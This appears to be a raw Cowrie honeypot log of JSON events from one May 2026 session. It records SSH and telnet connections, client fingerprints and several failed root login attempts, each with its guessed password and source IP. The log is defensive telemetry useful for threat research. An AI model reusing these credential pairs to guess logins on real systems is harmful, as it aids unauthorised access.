{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:17.020192Z","src_ip":"38.93.206.2","session":"f56dc78b5ab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567e","message":"login attempt [root/1234567e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:17.246542Z","src_ip":"38.93.206.2","session":"f56dc78b5ab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:18.307056Z","src_ip":"38.93.206.2","session":"f56dc78b5ab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59372,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a02f75991e2","protocol":"telnet","message":"New connection: 135.148.14.151:59372 (159.203.135.109:23) [session: 4a02f75991e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:23.965628Z"}
{"eventid":"cowrie.session.closed","duration":120.0043318271637,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:33.496991Z","src_ip":"179.102.17.221","session":"bfa8de736c56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":36038,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf40c5318c3a","protocol":"telnet","message":"New connection: 179.102.17.221:36038 (159.203.135.109:23) [session: cf40c5318c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:33.836412Z"}
{"eventid":"cowrie.session.closed","duration":120.00143790245056,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:34.481315Z","src_ip":"179.102.17.221","session":"72d5f25f4ce9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":36070,"dst_ip":"159.203.135.109","dst_port":23,"session":"400c148bb0e8","protocol":"telnet","message":"New connection: 179.102.17.221:36070 (159.203.135.109:23) [session: 400c148bb0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:37.826809Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35634,"dst_ip":"159.203.135.109","dst_port":23,"session":"27caefb0996d","protocol":"telnet","message":"New connection: 135.148.14.151:35634 (159.203.135.109:23) [session: 27caefb0996d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:39.097423Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49568,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d18489c1e6d","protocol":"ssh","message":"New connection: 194.113.233.25:49568 (10.17.0.5:22) [session: 0d18489c1e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:48.118066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:48.122812Z","src_ip":"194.113.233.25","session":"0d18489c1e6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:48.255837Z","src_ip":"194.113.233.25","session":"0d18489c1e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220587","message":"login attempt [root/220587] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:48.691635Z","src_ip":"194.113.233.25","session":"0d18489c1e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42016,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4428c584581","protocol":"telnet","message":"New connection: 135.148.14.151:42016 (159.203.135.109:23) [session: b4428c584581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:49.530302Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:49.836386Z","src_ip":"194.113.233.25","session":"0d18489c1e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42028,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ceaa228d1b0","protocol":"telnet","message":"New connection: 135.148.14.151:42028 (159.203.135.109:23) [session: 0ceaa228d1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:53.834790Z"}
{"eventid":"cowrie.session.closed","duration":34.31094670295715,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:58.276484Z","src_ip":"135.148.14.151","session":"4a02f75991e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.01159453392029,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:12.108931Z","src_ip":"135.148.14.151","session":"27caefb0996d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53072,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb1e75abd86e","protocol":"telnet","message":"New connection: 135.148.14.151:53072 (159.203.135.109:23) [session: fb1e75abd86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:13.260360Z"}
{"eventid":"cowrie.session.closed","duration":32.44080448150635,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:21.970944Z","src_ip":"135.148.14.151","session":"b4428c584581","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.29901146888733,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:28.133670Z","src_ip":"135.148.14.151","session":"0ceaa228d1b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39124,"dst_ip":"159.203.135.109","dst_port":23,"session":"906996b750ac","protocol":"telnet","message":"New connection: 135.148.14.151:39124 (159.203.135.109:23) [session: 906996b750ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:40.204909Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":44152,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc77bd57ee2f","protocol":"ssh","message":"New connection: 103.82.20.28:44152 (159.203.135.109:22) [session: cc77bd57ee2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:40.861443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:40.866722Z","src_ip":"103.82.20.28","session":"cc77bd57ee2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:41.132897Z","src_ip":"103.82.20.28","session":"cc77bd57ee2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345671234567","message":"login attempt [root/12345671234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:41.929469Z","src_ip":"103.82.20.28","session":"cc77bd57ee2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:43.198613Z","src_ip":"103.82.20.28","session":"cc77bd57ee2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.13126611709595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:48.391522Z","src_ip":"135.148.14.151","session":"fb1e75abd86e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44960,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbbf687c77f0","protocol":"telnet","message":"New connection: 135.148.14.151:44960 (159.203.135.109:23) [session: cbbf687c77f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:05:53.772966Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48600,"dst_ip":"159.203.135.109","dst_port":23,"session":"cff3d354d754","protocol":"telnet","message":"New connection: 135.148.14.151:48600 (159.203.135.109:23) [session: cff3d354d754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:00.925673Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53368,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb5cfd2bee5","protocol":"telnet","message":"New connection: 135.148.14.151:53368 (159.203.135.109:23) [session: dcb5cfd2bee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:14.576019Z"}
{"eventid":"cowrie.session.closed","duration":38.531665325164795,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:18.736451Z","src_ip":"135.148.14.151","session":"906996b750ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":41806,"dst_ip":"159.203.135.109","dst_port":22,"session":"5365df574ea6","protocol":"ssh","message":"New connection: 103.27.238.120:41806 (159.203.135.109:22) [session: 5365df574ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:19.842903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:19.850900Z","src_ip":"103.27.238.120","session":"5365df574ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":47264,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc0d579248d2","protocol":"ssh","message":"New connection: 103.27.238.116:47264 (159.203.135.109:22) [session: cc0d579248d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:19.901292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:19.906818Z","src_ip":"103.27.238.116","session":"cc0d579248d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:20.123705Z","src_ip":"103.27.238.120","session":"5365df574ea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:20.170139Z","src_ip":"103.27.238.116","session":"cc0d579248d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1990","message":"login attempt [root/anna1990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:20.940806Z","src_ip":"103.27.238.120","session":"5365df574ea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnjvfnjkju","message":"login attempt [root/cnjvfnjkju] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:20.949407Z","src_ip":"103.27.238.116","session":"cc0d579248d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:22.215478Z","src_ip":"103.27.238.116","session":"cc0d579248d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:22.221845Z","src_ip":"103.27.238.120","session":"5365df574ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59160,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ab5939363e4","protocol":"telnet","message":"New connection: 135.148.14.151:59160 (159.203.135.109:23) [session: 3ab5939363e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:24.120616Z"}
{"eventid":"cowrie.session.closed","duration":35.02895426750183,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:28.801807Z","src_ip":"135.148.14.151","session":"cbbf687c77f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00434613227844,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:33.840645Z","src_ip":"179.102.17.221","session":"cf40c5318c3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":39245,"dst_ip":"159.203.135.109","dst_port":23,"session":"919f05ad17ad","protocol":"telnet","message":"New connection: 179.102.17.221:39245 (159.203.135.109:23) [session: 919f05ad17ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:34.258276Z"}
{"eventid":"cowrie.session.closed","duration":34.70034599304199,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:35.625893Z","src_ip":"135.148.14.151","session":"cff3d354d754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0038731098175,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:37.830549Z","src_ip":"179.102.17.221","session":"400c148bb0e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":39399,"dst_ip":"159.203.135.109","dst_port":23,"session":"13a015f3eccc","protocol":"telnet","message":"New connection: 179.102.17.221:39399 (159.203.135.109:23) [session: 13a015f3eccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:38.229452Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52112,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d3d8fad46f5","protocol":"ssh","message":"New connection: 87.251.79.125:52112 (159.203.135.109:22) [session: 8d3d8fad46f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:43.115748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:43.120575Z","src_ip":"87.251.79.125","session":"8d3d8fad46f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:43.193661Z","src_ip":"87.251.79.125","session":"8d3d8fad46f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mishanya","message":"login attempt [root/mishanya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:06:43.413630Z","src_ip":"87.251.79.125","session":"8d3d8fad46f5","protocol":"ssh"}
